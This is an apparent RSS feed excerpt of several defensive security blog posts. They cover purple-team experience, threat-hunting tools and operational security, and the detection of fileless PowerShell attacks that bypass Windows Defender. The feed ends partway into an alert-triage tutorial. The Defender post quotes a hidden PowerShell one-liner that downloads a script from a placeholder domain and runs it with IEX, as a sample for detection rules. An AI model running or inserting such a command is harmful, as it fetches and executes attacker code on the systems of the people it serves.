            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*84eWc6RFjIbD7RIx" /><figcaption>Photo by <a href="https://unsplash.com/@kev01218?utm_source=medium&amp;utm_medium=referral">Kevin Olson</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>The Fun Uncle</h4><p>So, sit down and have a drink of your choice, because it’s story time with Uncle Bert. The fun uncle, not the weird one from birthdays. Or at least I hope. I’ve been a Blue Teamer for almost 15 years in various government positions; for example SOC analist, forensics and building highly secure networks. However, the last 1.5 years I’ve been doing Purple Teaming at <a href="http://chapter8.com/">Chapter8</a>, which has been a blast and during which time I’ve learned a lot!</p><h4>Reflecting</h4><p>This week we’re having a little obligated R&amp;R with Chapter8, because it has been crazy busy and we owe it to ourselves, our families and our customers to stay healthy and fit. While I was sitting in my yard the other day, having an iced coffee and a cigar (not super healthy, I know, but one needs his hobbies), I found myself reflecting on the last year and half. How we believe Purple Teaming is finally catching on, the people who believe in us and helped us move forward, but mainly on all the things that’ve happened and what I’ve learned from them. And that last thing is what I would like to share, because sharing knowledge and experience is one of the core principles of <a href="https://medium.com/chapter8/tl-dr-purple-teaming-96c883fe77ee">Purple Teaming</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7HxZJ69YCMWvEhviUFNByw.png" /><figcaption>Iced Coffee with cigar</figcaption></figure><h4>Hacker Mindset</h4><p>While I know there are people who are equally good at Blue as they are at Red, I am not one of them. Although I need to know what the Red Team is up to, I’ve never been into hacking or pentesting myself that much. I’d rather find a breadcrumb and follow the trail to catch the baddies than be one of the baddies. Of course, I keep up with the latest and greatest in hackerland so I can try and defend against it, but I’m not much of a hacker myself (and that’s ok, folks!). That isn’t really something that changed over the last year and a half, but working closely with our <a href="https://medium.com/@crypt0jan">Hacker</a> has certainly changed my perspectives and mindset.</p><p>For example, I got a far greater insight in the tools and how they’re used, but most importantly the methodology and procedures behind it, especially regarding Living off the Land techniques. <em>Seeing</em> someone use his wits, while having to improvise, adapt and overcome is just different compared to reading it in a blog. This translates into me knowing how to improve my defensives. This could mean creating new or changing existing Use Cases for SIEM, writing detection rules, or deploying defensive or deception measures. And because every network infrastructure is different, this means new things to learn and defend against every time we go somewhere new. A Great takeaway for defenders should be that no one-size-fits-all solution exists nor probably every will exist, if that already wasn’t clear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FqQ6spEoZKMW1BbV" /><figcaption>Photo by <a href="https://unsplash.com/@linkedinsalesnavigator?utm_source=medium&amp;utm_medium=referral">LinkedIn Sales Solutions</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Talking to people</h4><p>Purple means Blue and Red working together, not just me with our Hacker, but also us with the customer’s Blue Team, IT Administrators and CISO (if they have them). During the time that we spend at our customers, be it several week or years, we need to engage them in what we do. Because the purpose of a Purple Team Assignment is not to deliver a hefty 50 page report and say bye, but to leave them thinking that they’ve learned something and immediately reaped the benefits of working together. This can be better defensive measures,<a href="https://www.isaca.org/resources/isaca-journal/past-issues/2014/importance-of-forensic-readiness#:~:text=18%2C%20Forensic%20Readiness%2C%20defines%20forensic,in%20disciplinary%20matters%2C%20in%20an"> higher forensic readiness</a>, a better equipped analist or all of the above. We want them to feel that they’ve gained some experience, knowledge and concrete advice on the way forward. Because in the end, the greatest assets in cybersecurity aren’t the tools, but the people.</p><p>The difference for me, is that my former jobs usually had a different power balance; often as a senior talking to a junior or sometimes even enforcing legislation. Now, often it’s more of a teaching experience as an outsider, while usually also doing the hunting. And this comes in several forms, from the organisations where the IT admin is also the CISO and the log analyst, to the organisations with a full-blown SOC and everything around it. What’s really fun, is that it’s a different culture, workplace, infrastructure, history and people every time.</p><p>What this has taught me, is to really listen to the people’s stories. Why they are where they are, their struggled, how the Blue Team came or didn’t come to be, what they expect from us and how we can help each other. It’s the personal touch that makes Purple Teaming different from just sitting somewhere remote and trying to pentest their infrastructure. This often means dealing with some resistance. Some people get scared or defensive when you tell them it’s time to step up their game. That’s ok, during the time we’re there, we hope we can show that we’re there to help and not be the boogieman. Our <a href="https://medium.com/@pepijnvissers">Healer</a> has helped me a great deal with this.</p><p>And of course, this differs for every organisation. The one I mentioned with a single Blue Teamer will require a different, more basic approach, where you sometimes have to bring your own SIEM or other measures. While a mature SOC (full-blown !=mature) might only require dotting the i’s and crossing the t’s, with more focus on Incident Response and Forensic Readiness.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2KI1Au_YS2Ss7wu-" /><figcaption>Photo by <a href="https://unsplash.com/es/@homeschool?utm_source=medium&amp;utm_medium=referral">Levi Guzman</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Keep having fun!</h4><p>I know everything until now sounds a bit serious, because it is. This brings me to my next point: don’t stop having fun! For us as a squadron (Hacker/Hunter/Healer) things can get really stressful; Hacker is going after the customer’s crown jewels, Hunter is busy finding him with the Blue Team and training them how they can do this themselves, while Healer is helping both and writing reports and findings before the end of the Assignment. So what I (and we, I think) have learned is to celebrate the little victories to relieve some stress.</p><p>Finding that text file with passwords, creating a fileless backdoor while evading detection, the IDS seeing a port scan or the use of a honeytoken our Hacker found, should be cause for some joy! And sharing these with the customer is even more fun, because they get to see in real time what is going on so they can learn, but also what worked and have that as a win.</p><h4>In conclusion</h4><p>This is a different blog than I usually write, but I just felt that it was nice to share some more human experiences instead of another tool or guide. For me, it has been somewhat surprising how much more the sum of its parts are, when bringing together the experiences of a Blue, Red and White Teamer and how much I would learn (and still am learning!). I knew it would be successful, but not like this. Have any comments? You can hit me up on Twitter <a href="https://twitter.com/secbert">here</a>. And on that note, I’ll just leave you with one of my favourite Douglas Adams quotes:</p><blockquote>“I’d far rather be happy than right any day.”</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7351e941ea63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting Toolset and Operational Security Considerations]]></title>
            <link>https://cyb3rtus.medium.com/threat-hunting-toolset-and-operational-security-considerations-b2276597c062?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2276597c062</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Tue, 19 Oct 2021 13:26:17 GMT</pubDate>
            <atom:updated>2022-01-07T11:47:45.888Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P5Tj5Gd79VvnC8se" /><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=medium&amp;utm_medium=referral">Markus Spiske</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In my last <a href="https://cyb3rtus.medium.com/dealing-with-advanced-windows-defender-bypass-attempts-8402dc732097">blog</a>, I wrote how to detect fileless malware, but out-of-scope was how to hunt if you have an indication that someone is poking around in your network. With this blog, I want to tackle how to build an Open-Source Hunting Toolset, which artifacts and logs to collect, what to hunt for, and discuss <a href="https://www.fortinet.com/resources/cyberglossary/operational-security">Operational Security </a>considerations.</p><h3>Why Threat Hunt?</h3><p>For me, a Threat Hunt is mostly something you do because you suspect someone has hacked your network. It is something else than log analysis in a SOC (Security Operations Center) based on an alert. Of course, an alert might be the starting point and after some deeper investigation could instigate a Threat Hunt. Same goes for intel from a CERT or a three- or four-letter agency that there’s something wrong in your network. Whatever the cause may be, you start by forming a hypothesis, defining a starting point, and then creating a plan of attack.</p><p>Do note that a Threat Hunt requires highly skilled and experienced people to be effective. Besides that, if you do not have the right tools and processes in place, it will be very difficult to do yourself. Now, I can’t help with the people part, however, I can help with tools and general directions. If you want a complete deep-dive into the subject, I highly recommend you read this book: <a href="https://www.packtpub.com/product/practical-threat-intelligence-and-data-driven-threat-hunting/9781838556372">https://www.packtpub.com/product/practical-threat-intelligence-and-data-driven-threat-hunting/9781838556372</a></p><h3>Hypothesis</h3><p>I already stated that forming a hypothesis is key to a Threat Hunt. Assume breach, look for weak links in your internal IT infrastructure and work out a plausible attack scenario. A hypothesis may be: Our Exchange Server was exposed to the internet and unpatched for six months so we assume it has been breached. Now, it is up to you to collect evidence to support or refute this hypothesis. Remember, both supporting and refuting the hypothesis are equally important. Beware of tunnel vision or confirmation bias!</p><h3>Logs and Artifacts</h3><p>Before selecting your tools, it should be clear what artifacts and logs you need to collect, based on your hypothesis. Taking a generic network into account there is quite an extensive list. However, there are some sources I would always collect:</p><h4>Windows logs</h4><p>Essential for a Threat Hunt in my opinion. However, there are some important considerations here. Do you want ALL the logs? Probably not. And which Event IDs do you want to collect in what manner and from which servers/clients? Regarding the log policy I can highly recommend this <a href="https://github.com/JSCU-NL/logging-essentials">GitHub</a> from the Dutch Security and Intelligence Service, with the addition of <a href="https://cyb3rtus.medium.com/dealing-with-advanced-windows-defender-bypass-attempts-8402dc732097">script block logging</a>.</p><p>As for where to collect the logs from, it depends on your hypothesis. Where would you find the evidence for a compromise? As a rule of thumb, I would say to at least log the Domain Controllers (DC), File Servers and any place where your Crown Jewels are, because the threat actor might be after those (more about threat actors and OpSEC later). Don’t forget your exchange server audit logs if you have it on premise, especially if you’ve forgotten to <a href="https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/">patch it</a>.</p><h4>Not Windows logs</h4><p>The choice here is vast, but there are some logs that I would always try to collect. These include:</p><ul><li>Firewall logs;</li><li>Proxy logs;</li><li>IDS/IPS logs if you have them;</li><li>Syslog;</li><li>Netflow.</li></ul><p>Together with the Windows logs these will provide you with a comprehensive set of data to hunt. It might seem like a lot because it is. To quote one of the only good Coldplay songs, nobody said it was easy.</p><h3>Artifacts</h3><p>Now this is the trickiest part, because this really depends on where you’re looking and what you’re looking for. If we still assume we’re talking about mostly a Windows based network, you’ll find a list of artifacts here that you could collect:</p><ul><li>Browser history;</li><li>Registry hives;</li><li>Schedules tasks;</li><li>Prefetch files (not always present on clients with SSD or on Windows Server);</li><li>Downloads;</li><li>Windows Event Logs (EVTX files) if you have no way to collect them with something like <a href="https://docs.microsoft.com/en-us/windows/win32/wec/windows-event-collector">Windows Event Collection</a> (WEC).</li></ul><p>There are many, many more and I highly recommend checking <a href="https://www.sans.org/posters/windows-forensic-analysis/">this</a> SANS poster for more artifacts. However, the above list should already provide you with a lot of information. Especially the registry can give you a lot of insights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DsvuqIkpnVgukvDV" /><figcaption>Photo by <a href="https://unsplash.com/@nina_mercado?utm_source=medium&amp;utm_medium=referral">Nina Mercado</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Tools</h3><p>So, you’ve identified what data you need to conduct a Threat Hunt. Now what? Well, you need the correct tools for the job to assist you in the Threat Hunt. There are some great tools that I use in a Threat Hunt and that I know work.</p><h4>Elastic</h4><p>These guys should almost start paying me money given how much I mention them ;). However, if you don’t already have a log collector or SIEM, setting up Elastic is a quick and easy way to have one, in combination with Logstash if needed. There are several ways to get logs to Elastic, however OpSEC is a very important driver here which I will discuss later.</p><h4>Suricata</h4><p>You need something that captures network traffic, creates metadata, and has some great detection out of the box. Suricata checks all those boxes and is relatively easy to install. There is a standard Filebeat module for elastic so you can send the logs to Elastic. Depending on how big your network is, you should consider installing this on a different machine than Elastic.</p><h4>Thor Lite/Loki</h4><p>These tools from <a href="https://www.nextron-systems.com/thor-lite/">Nextron</a> provide you with a way to scan remote systems with <a href="https://en.wikipedia.org/wiki/YARA">YARA</a> rules on Indicators of Compromise (IOCs). Absolutely necessary to check for anomalies on hosts, and because you can do this remotely, great for your OpSEC.</p><h4>Chainsaw</h4><p><a href="https://github.com/countercept/chainsaw">Chainsaw</a> is a new kid on the block, and provides you with a way to quicky search through evtx, either based on EventID, regex and strings or with <a href="https://github.com/SigmaHQ/sigma">Sigma</a> rules. I’ve tested this on some real logs and it was able to detect lateral movement and Empire backdoors, so quite impressed so far.</p><h4>NfSen</h4><p>If you plan on collecting Netflow, <a href="http://nfsen.sourceforge.net/">NfSen</a> is a GUI that lets you search through Netflow created with nfdump. Alternatively, if you’re using Elasting, you can just enable the Filebeat Netflow module and directly feed your netflow into Elastic.</p><h4>Powershell</h4><p>You will need some Powershell Fu to collect and script some things for collecting artifacts. If you need to collect registry files, browser history and Downloads from several clients, you don’t want to do this by hand. Not only is it a lot of work, collecting this by hand or with something like FTK is tedious and not very handy from an OpSEC perspective. If you can, ask your Windows sysadmin, they will probably know how to do this.</p><h3>What to hunt for?</h3><p>Very difficult question, but as a rule of thumb you can use the <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">Cyber Kill Chain</a> and you have your hypothesis. Focus on numbers 3 to 7 from the Kill Chain and combine those with Modi Operandi (MO) that you know from threat actors. This of course requires that you or your staff keep up to date with the latest MO’s, for example by reading relevant sites or by using Threat Intel feeds.</p><p>Here are a few examples to make things more tangible:</p><ul><li>Unidentifiable PowerShell usage;</li><li>Unexplainable Scheduled Tasks;</li><li>DNS domains that look out of the ordinary;</li><li>Divergent netflows;</li><li>Suspicious emails and/or attachments;</li><li>(Sysadmin) activity out of business hours;</li><li>Unexplainable created accounts or groups in Active Directory;</li><li>Commercial Cloud Software usage, like OneDrive or Google Drive which might not be allowed.</li></ul><p>Of course, the list is quite extensive, but I do recommend checking out <a href="https://attack.mitre.org/tactics/enterprise/">MITRE ATT&amp;CK</a> if you need more inspiration. Ultimately, this for the most part falls on the shoulders of the hunter performing this hunt. He or she should know what is normal and what is not and what to look for.</p><h3>OpSEC</h3><p>One of the pitfalls of a Threat Hunt is alerting the baddies that you’re on to them. This can have all kind of consequences, depending on the type of threat actor. A ransomware gang might decide to encrypt all your data or publish sensitive information faster than they initially intended. But a state actor might go deeper into your network or do some other shady stuff. If you perform a threat hunt, you’ll need to be very cautious. Do you just want to stop the attack, then you might not even need a Threat Hunt and just remediate the incident and perform forensics.</p><p>However, if you want to examine the impact before you kick out the opponent (or let them do their thing in a controlled manner), you need to be very cautious during the hunt. There are some steps you can take to minimize the noise you make while conducting your investigation. Now, these things might come across as a little paranoid, but you’re doing a Treat Hunt and not some kind of CTF (Capture The Flag). Just like hunting in real life, you do not want to alert the prey!</p><h4>Communication</h4><p>Use side-channels to communicate about the incident, for example a Signal group. Try to avoid company e-mail because the actor might control this and happily read along. You can also consider using a codename for the hunt, to make it easier to talk about. You should also compartmentalise who knows about the threat hunt. Remember, “loose lips sink ships” is still very much valid in this day and age.</p><h4>Business hours</h4><p>Don’t start working frantically but use normal operation hours and procedures to cover your tracks. If you need IT changes done, do them during the time windows that are normal for IT to do changes in. If it’s normal that people leave at 5 p.m., keep doing that. If there’s a need to make haste, then a Threat Hunt might not be the right course of action. Remediation might be a better one.</p><h4>Gathering data</h4><p>Suddenly logging in and gathering data might stand out. Luckily, many things can be dealt with remotely. Try to use WEC for event logs and just send them to a WEC server or Filebeat somewhere. Do you need artifacts from a Windows client or server? Check if it’s a Virtual Machine (VM). You can copy it and extract the artifacts somewhere else. The same goes for memory, just copy the VMEM and use <a href="https://github.com/volatilityfoundation/volatility">Volatility</a> or <a href="https://www.fireeye.com/services/freeware/redline.html">Mandiant REDLINE</a> to examine the memory.</p><p>If it’s not a VM, that’s where PowerShell comes in. You can login remotely and copy the registry, browser history and other artifacts to a remote server. This can be a bit difficult, since especially the registry is hard to copy on a live system. You can use Volume Shadow Copy for this and for the rest is Google your friend (But here’s a <a href="https://book.hacktricks.xyz/windows/stealing-credentials#volume-shadow-copy">tip</a>)And again, do this in small steps and during normal business hours. Be sure to test scripts elsewhere before letting them loose on the target!</p><p>For non-Windows machines, there usually is some option to send syslog, so have a syslog server at the ready and configure the systems to send syslog there.</p><h4>The hunting server</h4><p>If you started using a server just for the purpose of hunting, make sure you secure it correctly. Use a host-based firewall and only open ports you need to. Consider using a VPN to connect to the server and place it in a logical network segment. Also, give it a logical hostname that adheres to your naming convention (leaving out the “this is a hunting server”-part. In the case of Elastic, try to use TLS for communication between the components. Use new SSH keys to log into the box and collect logs from the box itself with Filebeat to see if it has been attacked.</p><h3>Conclusion</h3><p>A Threat Hunt is a very resource intensive endeavour and I have barely scratched the surface. However, I do hope that these tips and tricks can help you build a threat hunting capability if you desire one in your company or institution. Should you have any questions, you can hit me up on <a href="https://twitter.com/SecBert">twitter</a> and <a href="https://www.linkedin.com/in/bert-de-jong-c8/">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2276597c062" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dealing With Advanced Windows Defender Bypass Attempts]]></title>
            <link>https://cyb3rtus.medium.com/dealing-with-advanced-windows-defender-bypass-attempts-8402dc732097?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8402dc732097</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[purple-team]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Thu, 01 Jul 2021 12:45:57 GMT</pubDate>
            <atom:updated>2021-07-01T12:46:52.522Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ScFiOddfAeae_S0D" /><figcaption>Photo by <a href="https://unsplash.com/@casparrubin?utm_source=medium&amp;utm_medium=referral">Caspar Camille Rubin</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Table of Contents</h4><ul><li>Introduction</li><li>Detecting the Command and Control Traffic (C2)</li><li>Endpoint Detection and Prevention</li><li>Securing Powershell</li><li>Threat Hunting</li><li>Bonus</li><li>Conclusion</li></ul><h4>Introduction</h4><p>Some of you might have read the tutorials from my dear colleague <a href="https://medium.com/u/adcf1e8f2f66">Crypt0jan</a> on how to <a href="https://crypt0jan.medium.com/">bypass Windows Defender</a>. That’s all fine and dandy but we’re a Purple Team and my job as a Blue Teamer and hunter is making sure guys like him don’t succeed in their endeavours. In this blog I will analyse what he did in Red Team Tutorial <a href="https://crypt0jan.medium.com/red-team-tutorials-3-351e76ea796d">#3</a> and <a href="https://crypt0jan.medium.com/red-team-tutorials-4-616c565ccec9">#4</a> and how you can prevent and detect these attacks. For most detections and preventions to work I do assume that your organisation is somewhat mature and has logging and monitoring in place. One thing to keep in mind is that it’s just about impossible to do all of these recommendations across your entire network.</p><h4><strong>Detecting the Command and Control traffic (C2)</strong></h4><p>In Crypt0jan’s tutorials, he first sets up the Empire/Meterpreter C2 to use TLS, launches the stager, creates a payload and deploys a Powershell oneliner to download and execute that payload. Let’s start at the beginning and see what we can do to make things more difficult for him.</p><p>The C2 uses TLS, which sucks for us. Sophos has written a <a href="https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/">great blog</a> on why exactly this sucks and how many C2s they’ve seen that currently use TLS. Of course you can use <a href="https://english.ncsc.nl/publications/factsheets/2019/juni/01/factsheet-tls-interception">TLS interception</a> or <a href="https://www.sans.org/reading-room/whitepapers/artificialintelligence/malware-detection-encrypted-tls-traffic-machine-learning-40185">Machine Learning</a> to try to detect malicious traffic, but this is pretty advanced and difficult to do right. Now, you could also check DNS for new domains and check for domain age and DGA domains. This will maybe work for your run of the mill malware, however it obviously poses an OPSEC risk if you have no secure way of checking the domain. A more advanced adversary will take its time and use hacked, bought or well-known (<a href="https://abrictosecurity.com/blog/command-and-control-through-aws-s3-buckets/">talking to you AWS</a>) infrastructure to blend in with the rest.</p><p>Conclusion is that detecting this is very difficult if done right and you probably have to rely on Threat Intel or luck to detect a C2 using TLS. This moves our goalpost further up the killchain by preventing the payload from executing on the endpoint.</p><h4><strong>Endpoint Prevention and Detection</strong></h4><p>Now, before there even is a succesful C2 connection and shell access, the stager and payload <em>normally</em> first need to be downloaded and executed on the target. However, this article has “advanced” in the title for a reason. The technique used in the Red Team Tutorials is a bit different: the attacker uses fileless malware with Powershell in memory by using IEX (Invoke-Expression)to bypass blocking certain extensions and <a href="https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>. This does assume that the attacker already has access to Powershell or tricks someone into running the code. Now, there are some basic countermeasures that can already prevent an attacker from getting this far and at least make the attack more difficult:</p><ul><li>Restrict Powershell (and other scripting tools like CMD, WMIC and VBScript) access to admins only and only if they really need it. I will go into further detail later on.</li><li>Restrict direct internet access on your network. Use a VM farm as a jump server for your users in a DMZ. The only thing they can do from there is start a browser and download approved applications through a secure file gateway. Annoying for the user, yes, but it makes connections to a C2 a hell of a lot more difficult and you have a bigger chance to detect a C2.</li><li>Deploy Endpoint Detection and Response (EDR) other than, or in addition to Defender. Microsoft <a href="https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/minimum-requirements?view=o365-worldwide">ATP </a>or <a href="https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide">ASR </a>is also an option. The big AV vendors have gotten really good at EDR and most of them have nice ways to see process execution on a system and check if it is malicious.</li><li>Use Threat Intel with IOCs and hope the malware has already been caught somewhere else if it’s not directly tailored for you..</li><li>Implement the CIS controls based on your risk assessments. Many organisations still don’t have these basics in place.</li></ul><p>More info on threat actors using Powershell and about mitigation can be found on the <a href="https://attack.mitre.org/techniques/T1059/001/">MITRE ATT&amp;CK website</a>.</p><p>The sad truth is, that in practice most of these things are not in place and it’s plausible an attacker finds a foothold in your network, “assume breach” is a thing for a reason.</p><h4>Securing Powershell</h4><p>So what can we do in terms of <a href="https://docs.microsoft.com/en-us/mem/configmgr/apps/deploy-use/learn-script-security">securing Powershell</a>? First of all, <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1">enable enhanced logging</a>. This will output far more logs than the standard windows event logs, including code blocks (make sure you use protected event logging as stated in the enhanced logging link).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*aCg5dv1v_5xbjvmWqAwTgA.png" /><figcaption>Logging options for Powershell</figcaption></figure><p>I highly recommend you read this post from <a href="https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html">FireEye</a> about the subject. More logging and monitoring will enable your SOC to write detection rules so when you see things like below in combination with suspicious domain names you know you could be in trouble.</p><pre>powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString(&#39;<a href="http://yourdomainhere/launcher.ps1&#39;">http://YOURDOMAINHERE/loader.ps1&#39;</a>) | IEX</pre><p>Executing this with logging enabled looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*YTzKazzBFusmg05iHn5_pg.png" /><figcaption>Powershell Code Block</figcaption></figure><p>Another thing you should always do is restrict the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1">Powershell Execution-Policy</a> and set it at least to restricted, although signed is also an option. Now this won’t protect against simply running code in Powershell and therefore this attack, but at least it will protect you from someone running scripts. An attacker that has gained elevated privileges can change this setting, but this event should be sent to the Windows Event Log, so you should able to detect it (and already have a Use Case ready).</p><p>Lastly, you could use Just Enough Administration (JEA). From the<a href="https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.1"> Microsoft website</a>:</p><blockquote>Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell. With JEA, you can:</blockquote><blockquote>Reduce the number of administrators on your machines using virtual accounts or group-managed service accounts to perform privileged actions on behalf of regular users.</blockquote><blockquote>Limit what users can do by specifying which cmdlets, functions, and external commands they can run.</blockquote><blockquote>Better understand what your users are doing with transcripts and logs that show you exactly which commands a user executed during their session.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rbDb3LFVWu2fZzVB" /><figcaption>Photo by <a href="https://unsplash.com/@dav420?utm_source=medium&amp;utm_medium=referral">David Pupaza</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h4>Threat Hunting</h4><p>What if this all fails? Well this comes down to hunting for fileless malware. Hunting usually starts with a trigger. A trigger could (should) be the execution of Powershell. For example by a user that normally doesn’t use Powershell, by Powershell usage outside of office hours or by checking the code blocks you enabled earlier for anomalies. Knowing what is normal for your network is key here. Do note that almost al these things require time, effort, skills, the right tools and a certain maturity of your Blue Team.</p><p>As I said, one thing to keep in mind is that it’s just about impossible to do all of these recommendations across your entire network. Therefore you should know your Crown Jewels, the things you absolutely have to protect, and start building the highest walls around those. At the same time you accept that less important parts of your network might fall pray to the baddies. Which is fine as long as you can protect your Crown Jewels and detect them in your network at some point.</p><p>One of the best ways to detect fileless malware is to make a memory dump of the suspicious system(s) and analyse it. Do note however that doing this requires tools on the system and if there is a threat actor present this might alert him/her which could lead to a whole lot of trouble. You should decide a right course of action on a case by case basis, based on the risk you’re willing to take and the certainty of what you know.</p><p>First, try to find other Indicators of Compromise not directly from the system, such as DNS logs to check for weird domains, netflow and remote Windows Event Logging. Maybe then you can try and collect data from the system. For example by using sysinternals to check for processes and open ports. Try to do all of this during normal business hours and in normal admin patterns because not doing so might alert the attacker.</p><p>If the system is a VM you’re in luck though, because you can either make a snapshot/clone for analysis or analyse the Virtual Memory File (*.vmem if VMWare for example) with a tool like Volatility. I will not go into detail how to do this, because this blog would get way too lengthy and there are already enough great guides for Volatility out there. If you’ve analysed the logs I specified earlier you might have collected some IoCs that you can now search for in memory. Think of domains, IPs or suspicious processes.</p><h4>Bonus</h4><p>Note that creating a Scheduled Task with these commands will also show up in the Event Logs if you have Powershell logging enabled. You should also log the creation of Scheduled Tasks, this is usually not enabled by default! The logs can be found here:</p><pre>Applications and Services Logs-Microsoft-Windows-TaskScheduler/Operational</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*3NOnPOrWoo4ceTNgNPqBsg.png" /><figcaption>Task Scheduler Event Logging</figcaption></figure><p>EventID 129 is used for creating a task and 141 for deleting a task.</p><h4><strong>Conclusion</strong></h4><p>There are several ways to prevent and detect the misuse of Powershell as described in the Red Team Tutorials. Prevention is always better than detection! However, it is certainly not easy and the best way to implement some or all of them is to start small and start at your Crown Jewels. If I had to choose only two countermeasures I would restrict Powershell usage only to admins who really need it and enable logging of the Powershell script blocks to detect malicious behaviour.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8402dc732097" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysing A Security Alert 101]]></title>
            <link>https://cyb3rtus.medium.com/analysing-a-security-alert-101-8008a43db52?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8008a43db52</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Tue, 22 Jun 2021 14:32:29 GMT</pubDate>
            <atom:updated>2024-04-09T10:24:05.577Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mLaIpMqxL5qk0-kO" /><figcaption>Photo by <a href="https://unsplash.com/@markuswinkler?utm_source=medium&amp;utm_medium=referral">Markus Winkler</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>People often ask me how I analyse a Security Alert or incident. There really is no set way and much has to do with experience, the tools at hand and the maturity of your SOC. However there are some steps that in my opinion always work. This is by no means a definitive way of analysing an alert, however this works for me. Escalation and communication are out of scope, but maybe something for another time. Because examples work best, I will explain the process using a real alert from our Security Onion (SO) instance.</p><p>We’ll start by checking the alerts from the last 24 hours. Immediately some alerts categorized as High catch my attention:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNx8-1r03Cu1aQWBKsH2Yw.png" /><figcaption>Alert view in Security Onion</figcaption></figure><p>Now, from my experience the first two aren’t that exciting to me. I’ve already checked them out and although the severity is high, it is expected traffic. There is a ticket for this to whitelist and I will update it with a note that this still hasn’t been done. The third one however is new to me and I feel this deserves my attention. We have a set way of downloading files and I do not expect a Portable Executable (PE) or Dynamic Link Library (DLL) to be downloaded via HTTP. Note here that it is important to know as an analyst what normal traffic is and what policies are in place in your organization. There can be places where it is perfectly acceptable to download files this way.</p><p>The first question I ask myself is: what am I looking at? What does this mean? Why did this alert trigger? I want to know as much as I can about the alert. When I checked our FAQ and playbooks I noted that this alert has never been investigated, so I have no prior information to start my search with. Besides this, I’ve already started a journal where I write down what I did and at what time.</p><p>Luckily this title is straightforward and a simple Google search confirms that this indeed is just as the title suggests. Many questions remain though, what are the source and destination IP-adresses, what does the suricata rule look like and who or what initiated this download?</p><p>I want to know more about this alert and most SIEM’s have some form of drilldown, just as SO does:</p><figure><img alt="" 